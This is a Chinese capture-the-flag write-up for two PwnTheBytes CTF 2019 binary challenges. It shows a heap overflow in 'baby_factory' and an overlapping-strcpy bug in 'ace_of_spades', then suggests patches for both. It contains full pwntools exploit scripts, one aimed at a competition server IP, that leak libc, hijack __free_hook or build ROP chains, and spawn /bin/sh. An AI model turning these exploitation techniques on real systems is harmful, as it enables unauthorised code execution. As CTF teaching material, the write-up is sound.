欢迎各位喜欢安全的小伙伴们加入星盟安全 UVEgZ3JvdXA6IDU3MDI5NTQ2MQ== 。
还是很不错的国际赛。
源程序打包:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnthebytesctf2019/pwn 。
靶机环境是 glibc-2.23 。签到题。
void __fastcall Create(char a1) { ... printf("Enter Day: ", v1); _isoc99_scanf("%d", &temp_ptr->day); if ( SLOWORD(temp_ptr->day) > 31 || !LOWORD(temp_ptr->day) ) LOWORD(temp_ptr->day) = 1; if ( a1 ) BYTE2(temp_ptr->day) = 1; ... }
直接输入一个很大的数字进行byte2字节编辑,即可在下面的函数heap overflow
。
void __cdecl Edit() { int v0; // [rsp+Ch] [rbp-14h] Container *temp_ptr; // [rsp+10h] [rbp-10h] unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); printf("Enter Baby IDX: "); _isoc99_scanf("%u", &v0); if ( global_ptr[v0] ) { temp_ptr = global_ptr[v0]; printf("Enter new name: ", &v0); if ( BYTE2(temp_ptr->day) ) read(0, (void *)temp_ptr->malloc_ptr, 0x69uLL); else read(0, (void *)temp_ptr->malloc_ptr, 0x68uLL); puts("Done!"); } else { puts("No such baby!"); } }
直接根据堆风水进行地址泄露,劫持hook即可,脚本如下。
#!/usr/bin/python2 # -*- coding:utf-8 -*- from pwn import * import os import struct import random import time import sys import signal salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else '' def clear(signum=None, stack=None): print('Strip all debugging information') os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt)) exit(0) for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: signal.signal(sig, clear) # # Create a symbol file for GDB debugging # try: # gdb_symbols = ''' # ''' # f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w') # f.write(gdb_symbols) # f.close() # os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt)) # # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt)) # except Exception as e: # print(e) context.arch = 'amd64' # context.arch = 'i386' context.log_level = 'debug' execve_file = './baby_factory' # sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)}) # sh = process(execve_file) sh = remote('137.117.216.128', 13373) elf = ELF(execve_file) # libc = ELF('./libc-2.27.so') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # Create temporary files for GDB debugging try: gdbscript = ''' b *$rebase(0xF4F) ''' f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w') f.write(str(proc.pidof(sh)[0])) f.close() f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w') f.write(gdbscript) f.close() except Exception as e: pass BOY = 0 GIRL = 1 def Create(type, content): sh.sendlineafter('> ', '1') sh.sendlineafter('> ', str(type + 1)) sh.sendafter('Name: ', content) sh.sendlineafter('Day: ', str(0xffffff)) def Edit(index, content): sh.sendlineafter('> ', '2') sh.sendlineafter('IDX: ', str(index)) sh.sendafter('name: ', content) def List(): sh.sendlineafter('> ', '3') def Eliminate(index): sh.sendlineafter('> ', '4') sh.sendlineafter('IDX: ', str(index)) Create(BOY, '\n') Create(BOY, '\n') Create(BOY, '\n') Edit(0, 'a' * 0x68 + p8(0x91)) Eliminate(0) Eliminate(1) Create(GIRL, '\xf8') List() sh.recvuntil('GIRL= ') result = sh.recvuntil('Date', drop=True) libc_addr = u64(result.ljust(8, '\0')) - 0x3c4bf8 log.success('libc_addr: ' + hex(libc_addr)) Create(BOY, 'b' * 0x60) Create(GIRL, (p64(0) + p64(0x21)) * 6) Edit(2, 'd' * 0x68 + p8(0xa1)) # pause() Eliminate(1) Create(GIRL, p64(libc_addr + libc.symbols['__free_hook']) + p64(0)) Edit(3, p64(libc_addr + libc.symbols['system'])) Edit(1, p64(libc_addr + libc.search('/bin/sh\0').next())) Eliminate(3) sh.interactive() clear()
由于造成该漏洞的主要原因是,下面代码没有进行置0操作。加上置0操作即可。
if ( a1 ) BYTE2(temp_ptr->day) = 1;
还有一个漏洞需要修复:
Edit
没有对index进行检查,加上检查即可。
void __cdecl Edit() { int v0; // [rsp+Ch] [rbp-14h] Container *temp_ptr; // [rsp+10h] [rbp-10h] unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); printf("Enter Baby IDX: "); _isoc99_scanf("%u", &v0); if ( global_ptr[v0] ) { temp_ptr = global_ptr[v0]; printf("Enter new name: ", &v0); if ( BYTE2(temp_ptr->day) ) read(0, (void *)temp_ptr->malloc_ptr, 0x69uLL); else read(0, (void *)temp_ptr->malloc_ptr, 0x68uLL); puts("Done!"); } else { puts("No such baby!"); } }
靶机环境是 glibc-2.23 。
一个模拟扑克牌的游戏。
主要在于程序员对库函数strcpy
的错误使用。
void __cdecl Discard() { if ( amount_in_your_hand ) { abandoned[abandoned_amount++] = card_in_your_hand[0]; strcpy(card_in_your_hand, &card_in_your_hand[1]); --amount_in_your_hand; } }
可能设计的时候仅仅是为了让字符串向前移动一个字节,这里完全可以自己实现,但是这里却使用的是strcpy
,对于strcpy
函数来说,如果两个参数地址有重叠的部分,难免会出一些问题。
通过查看汇编可知,strcpy并不是单纯的逐个字节转移,这样太浪费CPU资源,而是利用SEX2指令进行整块转移,开始先进行地址对齐,为了避免需要取两次内存的情况而浪费IO资源,而且字符串越长,每个单位块的就越大,当然这是建立在浪费内存空间的基础上的,也就是需要大量的汇编代码实现,但是其效率是无可比拟的。
如果原地址和目标地址没有重叠的话并不会产生问题,但是这里恰好相反。
利用下面的程序来检验是否存在问题:
// gcc -m32 main.c #include <stdio.h> #include <string.h> int main() { unsigned char buf[0x100]; int i, j; for(i = 2; i < 52; i++) { memset(buf, 0, 0x100); memset(buf + 0x40, 'a', 0x40); for(j = 0; j < i ;j ++) { buf[j] = 10 + j; } strcpy(buf, buf + 1); for(j = 0; j < i ; j++) { printf("%03d ",buf[j]); } puts(""); } return 0; }
通过分析上面的结果,最终得到下面的payload:
// gcc -m32 main.c #include <stdio.h> #include <string.h> int main() { unsigned char buf[0x100] = "0123456789ABCD"; strcpy(buf, buf + 1); puts(buf); return 0; }
预期结果是123456789ABCD
,得到的结果是123456889ABCD
。
原理分析:
主要问题汇编如下:
__strcpy_sse2 proc near
...
cmp byte ptr [ecx+13], 0
jz loc_865F0
...
cmp byte ptr [ecx+14], 0
jz loc_86610
...
loc_865F0:
movlpd xmm0, qword ptr [ecx]
movlpd qword ptr [edx], xmm0
movlpd xmm0, qword ptr [ecx+6]
movlpd qword ptr [edx+6], xmm0
mov eax, edx
retn
当字符串长度为14时,则意味着[ecx+13]就是0,ecx为buf + 1
,由于目标地址和原地址重叠,所以在执行movlpd xmm0, qword ptr [ecx+6]
时,复制了一个重叠的字节。
我们的主要目标是得到尽可能大的分数,这样index
就能超出数组长度,造成数组溢出。
void __cdecl Play() { ... score = calculate(); printf("Total points: %u\n", score); index = score / 1000; printf("Your prize: %s\n", buf[score / 1000]); if ( index ) { puts( "You can choose to keep this prize or change it for something else, but you won't get it this turn. What will it be?"); puts("1. Keep."); puts("2. Change."); printf("Choose: "); v0 = get_int(); v2 = v0; if ( v0 == 1 ) { puts("OK, enjoy!"); } else if ( v0 == 2 ) { read(0, buf[index], 0x20u); } ... }
通过查看栈布局可得,当index
为16时,也就是保存ebp
的位置,这样我们就能泄露栈地址,又因为其地址旁还黏连了一个程序地址,这样我们又能泄露程序基地址。
-00000040 buf dd 11 dup(?) ; offset
-00000014 var_14 dd ?
-00000010 index dd ?
-0000000C score dd ?
-00000008 var_8 dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
我们的目标是一个 1 (A),一个 14 (K),三个 100 (Ace of Spades),这样就能得到 16800 的分数,刚好可以完成上面的步骤。
原本 Ace of Spades 牌仅有一张,但是我们可以利用漏洞让其数量增多。这样我们就能获得足以数组溢出的分数。
amount = {100:1, 1:3, 14:4} while(True): for i in range(14): Draw() cards = Show() if(cards[8] == 1 and cards[7] not in amount.keys()): Discard() amount[cards[8]] += 1 break Fold() for i in range(3): while(True): for i in range(14): Draw() cards = Show() if(cards[8] == 100 and cards[7] not in amount.keys()): Discard() amount[cards[8]] += 1 break Fold()
for i in range(40): while(True): for i in range(14): Draw() cards = Show() if(cards[8] in amount.keys() and cards[7] not in amount.keys()): Discard() amount[cards[8]] += 1 break Fold() print(amount)
while(True): for i in range(5): Draw() cards = Show() if(cards.count(1) == 1 and cards.count(14) == 1): break Fold()
sh.sendlineafter('Your choice: ', '3') # Play sh.recvuntil('Your prize: ') result = sh.recvuntil('\n') stack_addr = u32(result[:4]) log.success('stack_addr: ' + hex(stack_addr)) image_base_addr = u32(result[4: 4+4]) - 0x1355 log.success('image_base_addr: ' + hex(image_base_addr)) sh.sendlineafter('Choose: ', '2') layout = [ 0, image_base_addr + elf.plt['puts'], image_base_addr + 0x00000b24, # : pop ebp ; ret image_base_addr + elf.got['puts'], image_base_addr + 0x1094, # push 0 ; call read stack_addr - 4, 0x100 ] sh.send(flat(layout)) sh.sendlineafter('Your choice: ', '6') result = sh.recvuntil('\n', drop=True) libc_addr = u32(result[:4]) - libc.symbols['puts'] log.success('libc_addr: ' + hex(libc_addr)) layout = [ libc_addr + libc.symbols['system'], libc_addr + libc.symbols['exit'], libc_addr + libc.search('/bin/sh\0').next(), 0 ] sh.send(flat(layout)) sh.interactive()
#!/usr/bin/python2 # -*- coding:utf-8 -*- from pwn import * import os import struct import random import time import sys import signal salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else '' def clear(signum=None, stack=None): print('Strip all debugging information') os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt)) exit(0) for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: signal.signal(sig, clear) # # Create a symbol file for GDB debugging # try: # gdb_symbols = ''' # ''' # f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w') # f.write(gdb_symbols) # f.close() # os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt)) # # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt)) # except Exception as e: # print(e) # context.arch = 'amd64' context.arch = 'i386' # context.log_level = 'debug' execve_file = './ace_of_spades' # sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)}) sh = process(execve_file) # sh = remote('', 0) elf = ELF(execve_file) libc = ELF('./libc-2.23.so') # Create temporary files for GDB debugging try: gdbscript = ''' b *$rebase(0x1268) ''' f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w') f.write(str(proc.pidof(sh)[0])) f.close() f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w') f.write(gdbscript) f.close() except Exception as e: pass def Draw(): sh.sendlineafter('Your choice: ', '1') def Discard(): sh.sendlineafter('Your choice: ', '2') def Fold(): sh.sendlineafter('Your choice: ', '5') # def Play(): sh.sendlineafter('Your choice: ', '3') def Show(): sh.sendlineafter('Your choice: ', '4') sh.recvuntil('Your hand is:\n') result = sh.recvuntil('\x20\n', drop=True) # print(result) cards = result.split('\x20') visual_cards = [] for v in cards: if(v == '\xf0\x9f\x82\xa1'): visual_cards += [100] else: visual_cards += [ord(v[3]) % 0x10] return visual_cards amount = {100:1, 1:3, 14:4} while(True): for i in range(14): Draw() cards = Show() if(cards[8] == 1 and cards[7] not in amount.keys()): Discard() amount[cards[8]] += 1 break Fold() for i in range(3): while(True): for i in range(14): Draw() cards = Show() if(cards[8] == 100 and cards[7] not in amount.keys()): Discard() amount[cards[8]] += 1 break Fold() for i in range(40): while(True): for i in range(14): Draw() cards = Show() if(cards[8] in amount.keys() and cards[7] not in amount.keys()): Discard() amount[cards[8]] += 1 break Fold() print(amount) while(True): for i in range(5): Draw() cards = Show() if(cards.count(1) == 1 and cards.count(14) == 1): break Fold() sh.sendlineafter('Your choice: ', '3') # Play sh.recvuntil('Your prize: ') result = sh.recvuntil('\n') stack_addr = u32(result[:4]) log.success('stack_addr: ' + hex(stack_addr)) image_base_addr = u32(result[4: 4+4]) - 0x1355 log.success('image_base_addr: ' + hex(image_base_addr)) sh.sendlineafter('Choose: ', '2') layout = [ 0, image_base_addr + elf.plt['puts'], image_base_addr + 0x00000b24, # : pop ebp ; ret image_base_addr + elf.got['puts'], image_base_addr + 0x1094, # push 0 ; call read stack_addr - 4, 0x100 ] sh.send(flat(layout)) sh.sendlineafter('Your choice: ', '6') result = sh.recvuntil('\n', drop=True) libc_addr = u32(result[:4]) - libc.symbols['puts'] log.success('libc_addr: ' + hex(libc_addr)) layout = [ libc_addr + libc.symbols['system'], libc_addr + libc.symbols['exit'], libc_addr + libc.search('/bin/sh\0').next(), 0 ] sh.send(flat(layout)) sh.interactive() clear()
根本原因出在strcpy
上,直接自己写一段函数进行替换即可。
mov edi, [esp+4]
mov esi, [esp+8]
xor ecx, ecx
again:
cmp ecx, 52
jae end
mov al, [esi]
test al, al
jz over
mov [edi], al
inc edi
inc esi
inc ecx
jmp again
over:
mov [edi], al
end:
ret
上面这段代码可以直接看成strncpy(dst, src, 52)
,这里还限制了长度,防止非预期的方式造成溢出。